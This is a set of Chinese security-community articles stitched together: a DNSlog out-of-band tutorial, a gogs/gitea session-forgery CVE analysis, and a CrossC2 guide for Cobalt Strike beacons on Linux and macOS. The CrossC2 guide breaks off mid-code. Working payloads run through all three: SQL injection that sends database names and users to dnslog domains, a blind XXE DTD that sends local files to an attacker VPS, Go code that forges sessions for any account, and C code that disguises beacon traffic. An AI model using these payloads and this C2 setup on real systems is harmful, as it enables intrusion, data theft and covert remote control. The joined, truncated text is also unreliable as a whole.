可以看到解析的日志会把%USERNAME%的值给带出来，因为系统在ping命令之前会将%USERNAME%的值解析出来，然后再和a.com拼接起来，最后ping命令执行将XF.a.com一起发给DNS服务器请求解析域名对应的ip地址，这个过程被记录下来就是DNSlog，看到这里应该有点感觉了。原理上只要能进行DNS请求的函数都可能存在DNSlog注入。
## 3.DNSlog通常用在哪些地方
大家在渗透测试的时候可能会遇到一下这些情况：
* 挖到一个有SQL盲注的站点，可是用sqlmap跑需要频繁请求，最后导致ip被ban
* 发现疑似命令注入的洞，但是目标站点什么也不显示，无法确认是不是有洞
总之就是目标不让信息显示出来，如果能发送请求，那么就可以尝试咱这个办法——用DNSlog来获取回显
（1）SQL注入中的盲注
（2）XSS盲打
（3）无回显的命令执行
（4）无回显的SSRF
（5）无回显的XXE（Blind XXE）
### 3.1.SQL注入盲注
在sql注入时为布尔盲注、时间盲注，注入的效率低且线程高容易被waf拦截，又或者是目标站点没有回显
#### 3.1.1.UNC路径
[UNC路径](https://baike.baidu.com/item/UNC%E8%B7%AF%E5%BE%84/3231808)
注意：读取远程文件就要用到UNC路径
UNC路径就是类似\\\softer这样的形式的网络路径,就是\\\。
例子：`\\\www.mss.cn\2.txt`
注意：这种用反斜杠是微软喜欢反着来，在微软文件夹里查询需要反斜杠；如果是在别的地方如url里查询就要用正斜杠`/`，即//www.mss.cn/2.txt，如果硬要用反斜杠，得另外加两个反斜杠来转义，即要四个反斜杠，很麻烦。如：(select
load_file(concat('\\\\\\\',(select datab ase()),'.xxxx.ceye.io\\\abc')))
#### 3.1.2.mysql的load_file()函数条件和secure_file_priv设置
例子：
select load_file('/etc/hosts')
例如上面的例子是有条件限制的：
1、必须有权限读取并且文件必须完全可读。
and (select count(*) from mysql.user)>0 /*如果结果返回正常，说明具有读写权限.*/
and (select count(*) from mysql.user)>0 /*返回错误，应该是管理员给数据库账户降权了*/
[
我们查看mysql这个库中user表中的字段有这些[
通过DNSlog盲注需要用的load_file()函数，所以一般得是root权限。`show variables like
'%secure%'`;查看load_file()可以读取的磁盘。
（1）当secure_file_priv为空，就可以读取磁盘的目录。
（2）当secure_file_priv为G:\，就可以读取G盘的文件。
（3）当secure_file_priv为null，load_file就不能加载文件。（注意NULL不是我们要的空，NULL和空的类型不一样）
secure_file_priv设置通过设置my.ini来配置，不能通过SQL语言来修改，因为它是只读变量，secure_file_priv设置具体看这里：
若secure_auth为ON，则用以下方法变为OFF（mysql查询默认是不区分大小写的）
[
secure_file_priv不能通过此方法修改，因为报错为Variable 'XXX' is a read only
variable。报错原因及修改方法为：参数为只读参数，需要在mysql.ini配置文件中更改该参数，之后重启数据库
[
将secure_file_priv为空的正确方法（注意NULL不是我们要的空，NULL和空的类型不一样）
[
secure_file_priv=""就是可以load_flie任意磁盘的文件。
2、欲读取文件必须在服务器上
3、必须指定文件完整的路径
4、欲读取文件必须小于`max_allowed_packet`
show global VARIABLES like 'max_allowed_packet';
如果文件超过了max_allowed_packet，则结果如下：
mysql> select load_file("C:/Users/XF/Desktop/杀猪盘/index.php");
+---------------------------------------------------+
| load_file("C:/Users/XF/Desktop/杀猪盘/index.php") |
+---------------------------------------------------+
| NULL |
+---------------------------------------------------+
如果该文件不存在，或因为上面的任一原因而不能被读出，函数返回空。比较难满足的就是权限。
在windows下，如果NTFS设置得当，是不能读取相关的文件的，当遇到administrators才能访问的文件，users就不能实现用load_file读取文件了。
##### 3.1.2.1.注意事项
1. dnslog注入只能用于windows，因为load_file这个函数的主要目的还是读取本地的文件，所以我们在拼接的时候需要在前面加上两个//，这两个斜杠的目的是为了使用load_file可以查询的unc路径。但是Linux服务器没有unc路径，也就无法使用dnslog注入。
2. 在进行注入的时候，需要先判断该位置是否存在注入，然后再在后面拼接代码，因为对照payload进行输入的话，可能会出现dnslog网站接收不到的情况，这是我在进行复现的时候遇到的情况。
3. 在域名的后面，我们需要拼接一个文件名，这是因为load_file函数只能请求文件，如果不加后面的文件名，同样无法得到显示。
#### 3.1.3.过程
(1)这里字符型注入和数字型注入都不会回显，是盲注，我们就用DNSlog注入
[
这里读取远程文件就要用到UNC路径，UNC路径就是类似\\\softer这样的形式的网络路径,就是\\\。例子：`\\\www.mss.cn\2.txt`。微软里喜欢跟别人反着来，所以在微软文件夹里查询用反斜杠`\\`；而这里如果要在url中得用正斜杠`/`，不然查不出来，如果硬要用反斜杠，得另外加反斜杠来转义，unc路径就要四个反斜杠，很麻烦。如：(select
load_file(concat('\\\\\\\',(select datab ase()),'.xxxx.ceye.io\\\abc')))
当前库名payload：and (select load_file(concat('//',(select datab ase()),'.6.eudspa.dnslog.cn/a')))
注意：后面这个a文件存不存在并不重要，随便写个文件就行，只要发生了DNS解析，我们就能看到我们所需要的东西，如这里的库名，但是这个文件必须要写，因为这是load_file函数所需要的条件。
注：当前库名[
用户名payload：and (select load_file(concat('//',(select hex(user())),'.wlgbdd.dnslog.cn/a')))
注意：为什么要对查询的内容进行hex编码？
如果我们要查询的用户名中存在特殊字符：如!@#$%^&
最后在请求DNS服务器时变成：!@#$%^&*.upa46v.dnslog.cn
存在特殊字符的域名无法解析。因此在DNS日志中也找不到我们查询的数据。
所以在我们查询时，当不确定查询结果是否存在特殊字符时，最好先将其hex编码后在带入查询。
将hex(用户名)去hex解码，得出结果为root@localhost
[
第一个表名payload：and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=datab ase() limit 0,1),'.wlgbdd.dnslog.cn/a')))
通过修改 limit 0,1 可以获得不同数据表
[
第二个数据列名payload：and (select load_file(concat('//',(select column_name from information_schema.columns where table_name='admin' limit 1,1),'.wlgbdd.dnslog.cn/a')))
通过修改 limit 0,1 可以获得不同数据列
[
表‘admin’列‘username’第一个字段名payload：and (select load_file(concat('//',(select username from maoshe.admin limit 0,1),'.wlgbdd.dnslog.cn/a')))
通过修改 limit 0,1 可以获得不同数据
[
##### 3.1.3.1.注意
在我们查询时，当不确定查询结果是否存在特殊字符时，最好先将其hex编码后在带入查询。
### 3.2.XSS盲打
推荐：XSS绕过可以看看该文章：[XSS过滤绕过速查表](https://blog.csdn.net/weixin_50464560/article/d
etails/114491500)
#### 3.2.1.介绍
简单来说，在xss上的利用是在于我们将xss的攻击代码拼接到dnslog网址的高级域名上，就可以在用户访问的时候，将他的信息带回来
#### 3.2.2.过程
通过盲打，让触发者浏览器访问预设至的链接地址，如果盲打成功，会在平台上收到如下的链接访问记录：
payload:
<img src=http://xss.xxx.ceye.io>
让src请求我们的dnslog平台。这里举个例子：
[
然后回来看DNSlog平台：
[
已经收到了请求，所以dns已经被解析
这边再举一例：
DNSlog平台先搞一个域名
[
在留言板里如下留言
[
登录后台查看
[
成功，这就是一个存储型xss盲打
[
### 3.3.无回显的命令执行
#### 3.3.1.介绍
我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功
#### 3.3.2.过程
发现疑似命令执行的洞，但是目标站点什么也不显示，无法确认是不是有洞
如果是win系统，简单的`ping %os%.xxxx.cete.io`即可
[
DNSlog这边得到了os的信息，那么就说明这里存在命令注入
下面是windows的常用变量：
//变量 类型 描述
//%ALLUSERSPROFILE% 本地 返回“所有用户”配置文件的位置。
//%APPDATA% 本地 返回默认情况下应用程序存储数据的位置。
//%CD% 本地 返回当前目录字符串。
//%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。
//%CMDEXTVERSION% 系统 返回当前的“命令处理程序扩展”的版本号。
//%COMPUTERNAME% 系统 返回计算机的名称。
//%COMSPEC% 系统 返回命令行解释器可执行程序的准确路径。
//%DATE% 系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息，请参阅 Date。
//%ERRORLEVEL% 系统 返回上一条命令的错误代码。通常用非零值表示错误。
//%HOMEDRIVE% 系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMEPATH% 系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMESHARE% 系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%LOGONSERVER% 本地 返回验证当前登录会话的域控制器的名称。
//%NUMBER_OF_PROCESSORS% 系统 指定安装在计算机上的处理器的数目。
//%OS% 系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
//%PATH% 系统 指定可执行文件的搜索路径。
//%PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。
//%PROCESSOR_ARCHITECTURE% 系统 返回处理器的芯片体系结构。值：x86 或 IA64（基于 Itanium）。
//%PROCESSOR_IDENTFIER% 系统 返回处理器说明。
//%PROCESSOR_LEVEL% 系统 返回计算机上安装的处理器的型号。
//%PROCESSOR_REVISION% 系统 返回处理器的版本号。
//%P ROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
//%RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
//%SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录（即系统根目录）的驱动器。
//%SYSTEMROOT% 系统 返回 Windows server operating system 根目录的位置。
//%TEMP%和%TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP，而其他应用程序则需要 TMP。
//%TIME% 系统 返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息，请参阅 Time。
//%USERDOMAIN% 本地 返回包含用户帐户的域的名称。
//%USERNAME% 本地 返回当前登录的用户的名称。
//%USERPROFILE% 本地 返回当前用户的配置文件的位置。
//%WINDIR% 系统 返回操作系统目录的位置。
如果目标系统是linux的话，则可用shell语言
[
[
或者
[
[
### 3.4.无回显的SSRF
#### 3.4.1.介绍
这里先来介绍下这个漏洞：
SSRF (Server-Side Request Forgery，服务器端请求伪造)
是一种由攻击者构造请求，由服务端发起请求的安全漏洞，一般情况下，SSRF攻击的目标是外网无法访问的内网系统，也正因为请求是由服务端发起的，所以服务端能请求到与自身相连而与外网隔绝的内部系统。也就是说可以利用一个网络请求的服务，当作跳板进行攻击。
攻击者利用了可访问Web服务器（A）的特定功能
构造恶意payload；攻击者在访问A时，利用A的特定功能构造特殊payload，由A发起对内部网络中系统B（内网隔离，外部不可访问）的请求，从而获取敏感信息。此时A被作为中间人（跳板）进行利用。
SSRF漏洞的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤和限制。
例如，黑客操作服务端从指定URL地址获取网页文本内容，加载指定地址的图片，下载等，利用的就是服务端请求伪造，SSRF利用存在缺陷的WEB应用作为代理
攻击远程 和 本地的服务器。
介绍结束。
那么当我们发现SSRF漏洞后，首先要做的事情就是测试所有可用的URL，若存在回显利用方式比较多
。但是若遇到无回显的SSRF，这时就可以考虑用DNSlog来解决。
#### 3.4.2.过程
这里用的时CTFHub上面的一个SSRF靶场。[CTFHub](https://www.ctfhub.com/#/skilltree "CTFHub")
一点击进去首页就是这样,看到这样的url便下意识想到ssrf
[
这里因为是让我们从目标主机内网环境访问其本地的flag.php，那我们就构造：`/?url=http://127.0.0.1/flag.php`
然后就成功访问到了目标机本地的flag.php
[
这种是有回显的，我们很容易就判断出来这里存在SSRF漏洞。那么如果这里是无回显的呢，那么该如何判断这里可能存在SSRF呢？那么在前期渗透的时候我们这里就可以用DNSlog来初步判断服务器有对外发送请求的行为，为下一步的SSRF渗透打下基础：
`/?url=http://hfsy89.ceye.io`
[
然后看我们的dnslog平台是否有服务器的IP来判断,这里就有可能有SSRF漏洞。
[
但是要特别注意一点：
这样不能证明它一定能请求到内网，比如一些业务场景如人脸识别、图床、或者需要去外部加载资源等等，本身限制了访问内网ip，但是dnslog是在外网的，本身就可以访问的到。所以这里还有待继续研究。
### 3.5.无回显的XXE（Blind XXE）
#### 3.5.1.介绍
XXE漏洞全称（X ML External Entity Injection）即X ML外部实体注入漏洞，XXE漏洞发生在应用程序解析X
ML输入时，没有禁止外部实体的加载（下面会介绍），导致可加载恶意外部文件，造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起DOS攻击等危害。
那么来介绍介绍外部实体的加载：
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体引用是对实体的引用。实体可在内部或外部进行声明。
1.内部实体声明
`<!ENTITY 实体名称 "实体的值">`
如：
<!ENTITY writer "Johnson666">
<!ENTITY copyright "Copyright W3School.com.cn">
我们要引用上面两个实体,则:
<author>&writer;©right;</author> //&writer;相当于 "Johnson666"
2.外部实体声明
`<!ENTITY 实体名称 SYSTEM "URI/URL">`
如:
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
引用：
<author>&writer;©right;</author>
这两种引用的方式都为：
`&实体名;`
以上为外部实体的加载。
xxe如果前端页面都会有一个回显的话，我们可以很方便的进行文件读取，那前端页面要是不进行回显了，那我们怎么判断是否存在xxe漏洞了呢？这里就涉及了blind
xxe(无回显的xxe)，其实利用dnslog就能进行判断，若dnslog有记录说明存在此漏洞。这里最关键的是证明存在后，怎么用blind
xxe进行文件读取，这就涉及到用VPS了，下面我会介绍。
#### 3.5.2.过程
这里我以pikachu靶场为例：
1.修改源码
我们将源码中的输出语句进行注释，构成Blind XXE
[
这样再进行判断是否能输出解析的X ML语句，如下页面中就看到不了hi了
[
原本没修改源码前是可以看到的
[
2.漏洞验证
在输入框中提交dnslog测试的语句
<?X ML version="1.0" encoding="gb2312"?>
<!DOCTYPE a [
<!ENTITY xi SYSTEM "http://hfsy89.ceye.io">
]>
<reset><login>ξ</login><secret>Any bugs?</secret></reset>
[
然后去dnslog平台上查看，看到接收到了信息，说明漏洞真的存在
[
3.文件读取
这里需要一个VPS，VPS中放入一个DTD的文件，并在该文件所在目录开启一个web服务，我这里用的是python开启的
a.dtd文件内如下:
<!ENTITY % file SYSTEM "php://filter/read=convert.b ase64-encode/resource=file:///c:/windows/blind.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://vps的ip:6666/%file;'>">
这段代码的意思是：实体int为`http://vps的ip:6666/`，实体file为`file:///c:/windows/blind.txt`（经过b
ase64编码），总体的意思就是访问vps的6666端口并携带本机的c:/windows/blind.txt的文件。
python开启web服务，监听11111端口
`python -m http.server 11111`
[
这样就可以通过本机去访问这个web服务
[
然后再用python再开启一个端口，接收读取的目标服务器的数据，这里监听的是上面文件中写的6666端口
[
payload:
<?X ML version="1.0" encoding="gb2312"?>
<!DOCTYPE root [
<!ENTITY % xxe SYSTEM "http://vps ip:web端口/a.dtd">
%xxe;%int;%send; ]>
[
burp suite提交数据后，可能会无响应，这时只要刷新一下浏览器所在的web服务界面就行
查看接收的数据
[
我们将这个数据进行b ase64解码后查看，就是我们主机上的文件
[
通过这样的方式，我们可以一直进行文件读取，直到读取到有用的数据，比如说公钥文件，就可能能进行远程连接ssh。 | 社区文章 |
# 漏洞成因
由于两个代码管理平台均使用了go-macaron作为web框架, 而go-macaron中的session插件并没有对sessionid进行过滤,
从而导致了可以使用任意文件作为session的bug, 登陆其他任意账号.
P.S. 其实这个影响范围可以扩展到使用了go-macaron框架, 且存在文件上传的任何一个web应用中.
# 影响
攻击者可登陆任意账号包括管理员账号，同时可利用git hooks执行任意命令，同时存在严重的越权和命令执行问题。
# 分析
在gogs及gitea中均使用了go-macaron作为web框架, 也都使用了其中的session插件, 但是在go-macaron的session插件中, 并没有对cookie中传入的session ID做任何的过滤.
在gogs及gitea的默认配置中, 均使用了文件用于保存session, 而没有过滤`../`,
`./`等关键词给我们一个将任意文件作为session文件的机会.
// Read returns raw session store by session ID.
func (m *Manager) Read(sid string) (RawStore, error) {
return m.provider.Read(sid)
}
func (p *FileProvider) filepath(sid string) string {
return path.Join(p.rootPath, string(sid[0]), string(sid[1]), sid)
}
func (p *FileProvider) Read(sid string) (_ RawStore, err error) {
filename := p.filepath(sid)
if err = os.MkdirAll(path.Dir(filename), 0700); err != nil {
return nil, err
}
p.lock.RLock()
defer p.lock.RUnlock()
var f *os.File
if com.IsFile(filename) {
f, err = os.OpenFile(filename, os.O_RDONLY, 0600)
} else {
f, err = os.Create(filename)
}
if err != nil {
return nil, err
}
defer f.Close()
if err = os.Chtimes(filename, time.Now(), time.Now()); err != nil {
return nil, err
}
var kv map[interface{}]interface{}
data, err := ioutil.ReadAll(f)
if err != nil {
return nil, err
}
if len(data) == 0 {
kv = make(map[interface{}]interface{})
} else {
kv, err = DecodeGob(data)
if err != nil {
return nil, err
}
}
return NewFileStore(p, sid, kv), nil
}
这里, 我们以gogs为例, 进行一次测试.
首先, 对于每个用户, 我们都可以创建仓库, 通过release功能可以上传任意内容可控的文件, 从而为我们伪造session文件提供了条件.
通过explore功能, 我们能找到很多用户的仓库, 进入某用户的用户资料页面, 我们可以得到构造该用户session的所有需要的资料(uid,
username).
通过上方file.go的代码, 我们发现, session文件的内容为Gob编码方式, 这里借鉴一下P神写的生成session的代码
package main
import (
"bytes"
"encoding/gob"
"encoding/hex"
"fmt"
"io/ioutil"
)
func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
for _, v := range obj {
gob.Register(v)
}
buf := bytes.NewBuffer(nil)
err := gob.NewEncoder(buf).Encode(obj)
return buf.Bytes(), err
}
func main() {
var uid int64 = 1
obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "sockls"}
data, err := EncodeGob(obj)
if err != nil {
fmt.Println(err)
}
err = ioutil.WriteFile("test.png", data, 0755)
if err != nil {
fmt.Println(err)
}
edata := hex.EncodeToString(data)
fmt.Println(edata)
}
由此, 我们可以生成一段session, 通过每个用户均可使用的release上传功能, 我们将我们伪造的session上传至服务器.
对于默认配置的gogs,
release中文件存放的目录结构是, `attachments/fid[0]/fid[1]/fid`.
session存放的目录结构是, `sessions/sid[0]/sid[1]/sid`.
此外sessions与attachments文件夹均存放在相同的data文件夹下.
由于gogs会将session分段, 构造成最终的路径后再进行读取, 而attachments与session在同一文件夹下,
修改session为我们刚刚上传的文件的路径,
即`../attachments/1/7/17f4120b-1a0d-416a-b0b0-def4342ded5b`,
读取session的函数将路径解析为`sessions/././../attachments/1/7/17f4120b-1a0d-416a-b0b0-def4342ded5b`也就是我们上传的那个文件,
从而完成了任意用户登陆.
通过仓库的git hook也可以完成命令执行.
此外如果我们通过explore中找到的用户刚好为管理员用户, 则可以使用管理员面板.
# 修复方式
更新至最新版.
# 参考资料
1. [CVE-2018-18925](https://nvd.nist.gov/vuln/detail/CVE-2018-18925)
2. [CVE-2018-18926](https://nvd.nist.gov/vuln/detail/CVE-2018-18926)
3. [Go代码审计 - gitea 远程命令执行漏洞链](https://www.leavesongs.com/PENETRATION/gitea-remote-command-execution.html) | 社区文章 |
# 前言
在讲解CrossC2的通信API之前感觉有必要先说一下基础的用法，另外有错误欢迎指正（毕竟我是真的菜）。
# CrossC2
## 介绍
简单说CrossC2能让你的CobaltStrike支持Linux/MacOS/Android/IOS平台的Beacon上线。
[CrossC2-GitHub地址](https://github.com/gloxec/CrossC2)
## 实验环境
* CobaltStrike4.1
* CentOS7与MacOS
* CrossC2 - 2.2.2版(<https://github.com/gloxec/CrossC2>)
* C2-Profile(<https://github.com/threatexpress/malleable-c2>)
## 基本使用
先将CrossC2主分支克隆到自己电脑上
git clone https://github.com/gloxec/CrossC2.git
找到CrossC2.cna文件，在`src/`目录下，修改该文件中的两项值。
$CC2_PATH = "/Users/xxx/Desktop/Tools/cs_plugin/CrossC2/2.2.2/src"; # 这里填src目录的绝对路径
$CC2_BIN = "genCrossC2.MacOS"; # 根据系统类型进行配置,对应src目录下的genCrossC2.XXX那三个文件的名字
将TeamServer上的`.cobaltstrike.beacon_keys`文件下回到本地，之后会用上(我这里将文件名前边的点去掉了)。
启动你的TeamServer， **这里先不要带上C2-Profile去启动。**
将`CrossC2.cna`文件加载到CobaltStrike中，之后创建`Https`监听器。
生成Beacon，命令如下(如果你是Windows那就是genCrossC2.Win.exe)。
`./genCrossC2.MacOS [TeamServer的IP] [HTTPS监听器端口]
[.cobaltstrike.beacon_keys文件路径] [自定义的动态链接库文件] [运行Beacon的平台] [运行Beacon的平台位数]
[输出的结果文件]`
./genCrossC2.MacOS 192.168.225.24 1443 cobaltstrike.beacon_keys null Linux x64 ./test
将生成的Beacon放到目标机器上去执行即可
此时你的TeamServer即可支持Windows、Linux...
# 存在的问题
上述操作是未带C2-Profile，实战里相信没有师傅会不带C2-Profile就直接冲吧！
直接带上C2-Profile，CrossC2所生成的Beacon可能无法上线也可能是上线了执行不了命令（这里可以自己尝试一下）。因此CrossC2提供[通信协议API](https://gloxec.github.io/CrossC2/zh_cn/protocol/)的方式来解决该问题。
# 一些铺垫
在进入正题之前感觉有必要铺垫以下知识点
## 有Profile与无Profile对比
先对比一下带Profile和不带Profile时传递的数据包的差异，这里我以[jquery-c2.4.0.profile](https://github.com/threatexpress/malleable-c2/blob/master/jquery-c2.4.0.profile)默认配置为例进行解释。
下图是Beacon向TeamServer发送请求，TeamServer做回应。
## C2-Profile
C2-Profile文件决定了你对元数据使用哪些编码、哪种顺序、拼接哪些字符……，所以这里需要你对它的配置有一些了解。
以`jquery-c2.4.0.profile`默认配置为例，当Beacon要发送一个POST请求给TeamServer时会以`http-post
{...}`的配置为准，Beacon发送GET请求给TeamServer时以`http-get {...}`的配置为准。
下图为对配置的含义粗略的解释
其中`output {...}`，表示元数据的处理流程。
output {
mask;
base64url;
# 2nd Line
prepend "!function(e,t){\"use strict\"; ...... },P=\"\r";
# 1st Line
prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */";
append "\".(o=t.documentElement,Math.max(t.body[ ...... (e.jQuery=e.$=w),w});";
print;
}
过程是从上往下，对应的伪代码为: `prepend + prepend + baseurl(mask(metadata)) + append`
处理完后进行响应(`print`)。对应的`http-get {...}`也是一样的逻辑。所以上述处理完后就对应下图中的数据包
## 元数据
**此处元数据的概念为个人理解**
这里的元数据指的是还未进行处理的数据(明文)，就是CobaltStrike的官方文档中所描述的metadata，但是metadata实际应该是经过`AES`处理后的一个值，本质上和下图的是同一个，当然metadata中可能还封装了一些其他数据。
## 元数据处理流程
那么元数据在发送出去前是经过了哪些处理呢？
下边为我画的一张流程图，即发送和接收的处理过程。(图中不包含秘钥交换的过程，更为详细可以参考[CobaltStrike协议全析](https://www.52pojie.cn/thread-1426936-1-1.html))
数据的流向可以是TeamServer流向Beacon，也可以是Beacon流向TeamServer，不同方向传输使用协议不一样，但是处理元数据的流程是一致的。
# CrossC2通信协议API
CrossC2提供了一个[c2profile.c](https://github.com/gloxec/CrossC2/blob/cs4.1/protocol_demo/c2profile.c)文件，在该文件内编写相应的c代码，然后打包成.so文件，在使用`./genCrossC2.MacOS`时指定编译好的.so文件。这样生成的Beacon就可以按照c编写的逻辑构造数据包和解码数据包。
其中还提供了一个[https.profile](https://github.com/gloxec/CrossC2/blob/cs4.1/protocol_demo/https.profile)，和默认的[c2profile.c](https://github.com/gloxec/CrossC2/blob/cs4.1/protocol_demo/c2profile.c)文件是配对的，可以直接使用。只需要按照下边的命令执操作即可
./teamserver 192.168.225.24 123456 https.profile
gcc c2profile.c -fPIC -shared -o lib_rebind_test.so
./genCrossC2.MacOS 192.168.225.24 1443 cobaltstrike.beacon_keys lib_rebind_test.so Linux x64 ./test
## 通信函数介绍
* Beacon向TeamServer发送数据时触发
* cc2_rebind_http_get_send
* cc2_rebind_http_post_send
* Beacon接收TeamServer响应的数据时触发
* cc2_rebind_http_get_recv
* cc2_rebind_http_post_recv
* 查找有用的数据部分
* find_payload
## find_payload
该函数用来取出有用的那部分数据，prepend和append部分拼接的数据只是为了达到伪装的效果，实际上传输的真正数据部分也就`baseurl(mask(metadata))`部分。
prepend + prepend + `baseurl(mask(metadata))` \+ append 对应下图红框部分
它的使用很简单，只需要标记要切割部分数据的开始和结尾即可。
## 编码解码梳理
C2-Profile的`server { ... output { ... } }`中描述了TeamServer响应的数据是如何编码的
那么这里就需要在c2profile.c文件的`cc2_rebind_http_post_recv`函数中实现`base64_encode(decode_mask(base64_decode(find_payload(data))))`(这里是伪代码)，这样即可拿到被AES加密的元数据，随后将元数据再进行base64编码后向下传递。
同样的`client
{...}`中描述了Beacon发送给TeamServer的数据是如何编码的，那么在发送给TeamServer之前就需要按Profile中的配置进行编码，那么意味着我们需要在`cc2_rebind_http_post_send`中实现`base64_encode(mask_encode(base64_decode(x)))`的操作。
同样的`http-get { ... }`配置处的实现思路也是一样的
TeamServer会根据Profile中配置的这个顺序从下往上进行解密拿到AES加密的元数据,这个过程TeamServer在内部已经实现了。而CrossC2生成的Beacon是不会根据Profile中的配置进行生成的，所以需要手动编写编码和解码的部分。
## 带上C2-Profile重启TeamServer
./teamserver 192.168.225.24 123456 jquery-c2.4.0.profile
## 实现方式1
将C2-Profile中的mask编码去掉，下图只截了`http-post`，还需要去掉`http-get`部分的mask。
之后来编写c2profile.c文件
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void cc2_rebind_http_get_send(char *reqData, char **outputData, long long *outputData_len) {
char *requestBody = "GET /%s HTTP/1.1\r\n"
"Host: code.jquery.comr\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko\r\n"
"Cookie: __cfduid=%s\r\n"
"Referer: http://code.jquery.com/\r\n"
"Connection: close\r\n\r\n";
char postPayload[20000];
sprintf(postPayload, requestBody, "jquery-3.3.1.min.js", reqData);
*outputData_len = strlen(postPayload);
*outputData = (char *)calloc(1, *outputData_len);
memcpy(*outputData, postPayload, *outputData_len);
}
void cc2_rebind_http_post_send(char *reqData, char *id, char **outputData, long long *outputData_len) {
char *requestBody = "POST /%s?__cfduid=%s HTTP/1.1\r\n"
"Host: code.jquery.com\r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko\r\n"
"Referer: http://code.jquery.com/\r\n"
"Connection: close\r\n"
"Content-Length: %d\r\n\r\n%s";
char *postPayload = (char *)calloc(1, strlen(requestBody)+strlen(reqData)+200);
sprintf(postPayload, requestBody, "jquery-3.3.2.min.js", id, strlen(reqData), reqData);
*outputData_len = strlen(postPayload);
*outputData = (char *)calloc(1, *outputData_len);
memcpy(*outputData, postPayload, *outputData_len);
free(postPayload);
}
char *find_payload(char *rawData, long long rawData_len, char *start, char *end, long long *payload_len) {
rawData = strstr(rawData, start) + strlen(start);
*payload_len = strlen(rawData) - strlen(strstr(rawData, end));
char *payload = (char *)calloc(*payload_len ,sizeof(char));
memcpy(payload, rawData, *payload_len);
return payload;
}
void cc2_rebind_http_get_recv(char *rawData, long long rawData_len, char **outputData, long long *outputData_len) {
char *start = "return-1},P=\"\r";
char *end = "\".(o=t.documentElement";
long long payload_len = 0;
*outputData = find_payload(rawData, rawData_len, start, end, &payload_len);
*outputData_len = payload_len;
}
void cc2_rebind_http_post_recv(char *rawData, long long rawData_len, char **outputData, long long *outputData_len) {
char *start = "return-1},P=\"\r";
char *end = "\".(o=t.documentElement";
long long payload_len = 0;
*outputData = find_payload(rawData, rawData_len, start, end, &payload_len);
*outputData_len = payload_len;
}
将`c2profile.c`文件编译成`.so`文件
gcc c2profile.c -fPIC -shared -o lib_rebind_test.so
指定.so文件生成Beacon文件
./genCrossC2.MacOS 192.168.225.24 1443 .cobaltstrike.beacon_keys lib_rebind_test.so Linux x64 ./test
运行上线，此时在带C2-Profile的情况下能正常上线CrossC2的Beacon。
## 实现方式2
在不去掉C2-Profile中的Mask编码，需要自己实现Mask的编码和解码逻辑方式如下。
非专业写c全靠临时百度硬编出来的，轻点喷。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
static const char *BASE64_STR_CODE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
static const short BASE64_INT_CODE[] = {-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1,
-1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16,
17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30,
31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50,
51};
static const short BASE64_INT_LENGTH = sizeof(BASE64_INT_CODE) / sizeof(BASE64_INT_CODE[0]);
void base64_decode_to_ascii(char *base64Str, long res[]) {
int i = 0;
int j = 0;
int v1 = 0;
int v2 = 0;
int v3 = 0;
int base64StrLength = strlen(base64Str);
for (i = 0; i < base64StrLength; ++i) {
char ascii = base64Str[i];
if (ascii == 0x20 | ascii == '\n' | ascii == '\t') {
break;
} else {
if (ascii == '=') {
++v3;
v1 <<= 6;
++v2;
switch (v2) {
case 1:
case 2:
return;
case 3:
break;
case 4:
res[j++] = (char) (v1 >> 16);
if (v3 == 1) {
res[j++] = (char) (v1 >> 8);
}
break;
case 5:
return;
default:
return;
}
} else {
if (v3 > 0) {
return;
}
if (ascii >= 0 && ascii < BASE64_INT_LENGTH) {
short v4 = BASE64_INT_CODE[ascii];
